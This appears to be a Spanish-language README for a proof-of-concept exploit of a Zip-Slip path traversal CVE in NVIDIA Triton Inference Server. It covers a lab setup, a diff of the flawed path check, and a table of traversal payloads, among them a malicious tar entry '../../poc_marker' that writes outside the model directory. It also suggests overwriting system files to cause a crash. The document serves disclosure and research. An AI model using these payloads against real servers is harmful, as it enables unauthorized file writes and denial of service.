
Prueba de concepto de exploit para CVE-2026-47627, una vulnerabilidad de path traversal en NVIDIA Triton Inference Server que permite la escritura arbitraria de archivos mediante Zip-Slip. Incluye análisis detallado, entorno de laboratorio y scripts de exploit con un solo clic.
Writeup completo de la investigación y PoC en este repo (imagen
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0). El repo está configurado para estar siempre en modoexplicitpara que el PoC funcione sin reinicio vía gRPC.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| Publicación | 2026-08-18 (NVD en Análisis) |
| Boletín | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRÍTICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 Path Traversal |
| Afectado | 0.0-26.05 (server v2.69.0 / core r26.05) |
| Corregido | 26.06 (server v2.70.0 / core r26.06) |
| Impacto | DoS (descripción del CNA) — esta investigación demuestra escritura de archivos fuera de /models vía Zip-Slip, que puede ampliarse a DoS/agotamiento de recursos |
| Crédito | Martin Brodeur |
Nota honesta: La descripción del CNA solo indica
path traversal → DoSsin detalles. Este writeup reconstruye la ubicación del bug mediante el diffr26.05..r26.06y pruebas directas en el contenedor26.05-py3.
Imagen: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)
Compose siempre en explicit (ya parcheado en este repo):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 también están en explicit.
Modo Triton:
NONE (predeterminado upstream) → carga una vez al inicio, POST /v2/repository/models/.../load → 503, requiere reinicio para cargar un modelo nuevo.POLL → escanea el repo cada segundo, auto-carga, sigue bloqueando la carga explícita.EXPLICIT (este repo) → no escanea, pero abre gRPC load_model / POST /load → PoC sin reinicio vía gRPC.Puertos:
| 8000 | HTTP REST | v2/health, v2/models, v2/repository |
| 8001 | gRPC | RepositoryModelLoad, ModelInfer |
| 8002 | Métricas | Prometheus |
Modelo inicial:
model_repository/
├── echo_python/ (backend python, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
Inicio rápido:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + infer identity_onnx
Entrada del usuario (model_name / entrada tar) ──► join(parent, child) ──► canonicalize ──► verificar "¿child dentro de parent?" ──► abrir archivo
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + verificación '/' FileExists / extract
join sin canonicalize o la verificación rfind(parent,0)==0 es incorrecta (coincidencia parcial /models vs /models_evil), entonces ../ puede escapar./dev/zero, /proc/self/mem, o un tar que contiene ../../ que sobrescribe archivos del sistema → cuelgue / OOM / crash.Tres preguntas de investigación (del informe inicial):
model_name en gRPC RepositoryModelLoad, entrada tar EXECUTION_ENV_PATH, override file:, TRITON_BATCH_STRATEGY_PATH.posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.DoS vía agotamiento de recursos / cuelgue. En este repo se demuestra escritura de archivos en /tmp/poc_marker.Repo core (r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — fix dcb315d + 72f3d9b:
// VULNERABLE (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → bug de coincidencia parcial: el prefijo "/models" de "/models_evil/file" se considera interno
// CORREGIDO (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → debe haber '/' después del prefijo, "/models_evil" ahora está correctamente fuera
Usado en src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) y src/model_repository_manager/model_repository_manager.cc:162 (file:).
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (marzo 2026, ya en 26.05 pero reforzado en 26.06):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
Esto es lo que hace que gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT en 26.05 (ya bloqueado). Pero %2f (/ codificado) pasa porque no es un / literal → 500 de poll literal.
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 test zipslip_test.py:
El tar se extrae sin verificar .. / rutas absolutas. La entrada ../../poc_marker de /models/poc_exploit/malicious_env.tar.gz se extrae a /tmp/poc_marker (fuera del directorio del modelo). Fix en 26.06: usar ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + verificación IsChildPathEscapingParentPath.
Repo server (r26.05..r26.06): solo sagemaker_server.cc:1027 (verificación RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), no es la ruta de este CVE.
Conclusión: La ruta model_name vía HTTP/gRPC ya está bloqueada en 26.05 por ValidateModelName, pero el Zip-Slip del tar no — esto es lo que explota el PoC de este repo.
| Vector | Payload | Resultado 26.05 | ¿Afecta? |
|---|---|---|---|
HTTP raw ../ | POST /v2/repository/models/../tmp/pwn/load | 404 (normalización de ruta) | ❌ |
HTTP codificado ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 literal, poll /models/..%2ftmp%2fpwn no existe | ❌ (500 falso, no es traversal) |
gRPC raw ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌ (ya bloqueado) |
gRPC codificado ..%2f | load_model('..%2ftmp%2fpwn') | 500 poll literal | ❌ |
Override file: ../models_evil | file:../models_evil/pwn | 400/500 dependiendo de la coincidencia parcial | ⚠️ (depende del bug IsChildPathEscapingParentPath, pero ya bloqueado por ValidateModelName para model_name) |
Tar EXECUTION_ENV_PATH ../../poc_marker | malicious_env.tar.gz entrada ../../poc_marker | 200 + archivo en /tmp/poc_marker | ✅ VULNERABLE |